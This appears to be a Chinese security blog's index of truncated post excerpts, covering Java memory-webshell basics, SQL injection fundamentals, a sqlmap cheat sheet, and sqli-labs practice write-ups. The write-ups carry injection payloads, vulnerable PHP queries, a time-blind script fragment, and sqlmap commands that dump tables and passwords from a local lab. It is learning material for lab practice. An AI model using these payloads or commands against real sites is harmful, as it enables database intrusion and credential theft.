内存马入门知识学习
Java Servlet前置知识
Servlet/Filter/Listener Java Web三大件
1.ServletServlet是服务期端的Java的应用程序,用于处理http请求并做出相应的响应。
2.Filter介于Web和Servlet之间的过滤器,用于过滤未到达Servlet的请求或者由Servlet生成但还没有返回响应
(可见上图)
3.listenerlistener是用于监听某些特定动作的监听器。当特定动作发生时,监听该动作的监听器会自动调用相应的方法,比如
解释一下上图,但我们创建一个session时,会自动调用HttpSessionListener中的sessionCreated,而当session被销毁的时候也同时会调用 sessionDestroyed() 方法
内存马的攻击面webshell实际上也是一种web服务,所以可以有以下几种思路
1.动态注册/字节码替换 interceptor/controller(使用框架如 spring/struts2/jfinal)
2.动态注册/字节码替换 使用责任链设计模式的中间件、框架的实现(例如 Tomca ...
sql注入基本知识
url中?表示传参,id表示变量,
参数类型
数字型:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
如 www.text.com/text.php?id=3 对应的sql语句为 select * from table where id=3
字符型:字符型注入正好相反
当输入的参数被当做字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过引号来闭合的。即看参数是否被引号包裹
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
注入手法的话可以分为以下几类:
123456789101112131415联合查询注入:union selest报错注入: group by(重复键冲) ?id=1' and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0 ...
sqlmap使用指北
常用语句扫描
1python sqlmap.py -u “网站”
查询当前数据库下的所有数据库
1python sqlmap.py "网站" -dbs
判断文件是否存在注入
1python sqlmap.py -r 文件名(文件名要有正确的路径)
获取数据库中的表名
1python sqlmap.py -u "网站" -D 数据库 --tables
获取表中的字段名
1python sqlmap.py -u "网站" -D 数据库 -T 表名 --columns
获取字段类容
1python sqlmap.py -u "网站" -D 数据库 -T 表名 -C 字段名 --dump
获取数据库密码
1python sqlmap.py -u "网站" --passwords
获取当前数据库网站的名称
1python sqlmap,py -u "网址" --current-db
获取当前网站数据库用户名称
1python sqlmap,py -u " ...
sqllibs10
不知道为什么我用一句话木马上传的bool盲注都不行,想着能用sqlmap实现1-9,所以直接开了10
sqli-libs10是一个时间盲注
WP说选择时间盲注是因为
1234567页面无显示位,不适合联合注入;页面不显示数据库的报错信息,不适合报错注入;查询的正确和错误不会影响页面的响应(后台写死了,只返回You are in...........),不适合布尔盲注;综上所述,尝试使用时间盲注。
首先
1?id=1" and if(1,sleep(5),3) -- a
页面响应超过5秒,确定存在时间盲注
然后采用Python自动化脚本123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960import requestsimport time # 将url 替换成你的靶场关卡网址# 修改两个对应的payload # 目标网址(不带参数)url = "“# 猜解长度使用的payloadpayloa ...
sqllibs7
上来输入?id=1“正常回显
看源码
123456789101112131415161718192021222324252627282930// connectivity $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result); if($row) { echo '<font color= "#FFFF00">'; echo 'You are in.... Use outfile......'; echo "<br>"; echo "</font>"; } else { echo '<font color= "#FFFF00">'; ec ...
sqllibs6
第六题和第五题相差不大
只是第六题比第五题多了一个“
可以类比sqllibs1-4来进行尝试
sqllibs 1-9 用sqlmap自动注入
Sqlmap是一个py文件
所以要在cmd中使用
1234567891011121314151617181920212223242526272829303132333435D:\Ctf\sqlmap\sqlmap>python sqlmap.py -u http://127.0.0.2:777/Less-6/?id=1 ___ __H__ ___ ___[)]_____ ___ ___ {1.7.3.4#dev}|_ -| . [)] | .'| . ||___|_ [']_|_|_|__,| _| |_|V... |_| https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applic ...
sqllibs-5
第五题和前面几道题明确有不同
第四题源码(只截取了后半部分)
12345678910111213141516171819202122232425262728$id = '"' . $id . '"';$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password ...
sqllibs1-4
个人感觉sqllibs的前面4道题大差不差
第一题
1234$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
这个注入只需要构造?id=1’就可以了
第二题
123$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($resul
这个直接?id=1就可以了
第三题
1234$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
这个加?id=1’)
第四题
1234$id = '& ...
sqllibs注入第一关
纪念第一次手动注入上来先是输入
?id=1寻找注入点,(这道题的注入点就是?id=1)
后面就可以开始注入了
1http://127.0.0.2:777/Less-1/?id=1'
提示的是
1You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
有语法错误,这里可能有漏洞
1http://127.0.0.2:777/Less-1/?id=1'--+
正常回显
12Your Login name:DumbYour Password:Dumb
用order by判断这条语句有几列数据
1?id=1'order by 3--+
在这个地方,输入3的时候正常回显,输入4的时候提示出错,所以判断有3列
于是使用函数查询
1?id=888(这里 ...







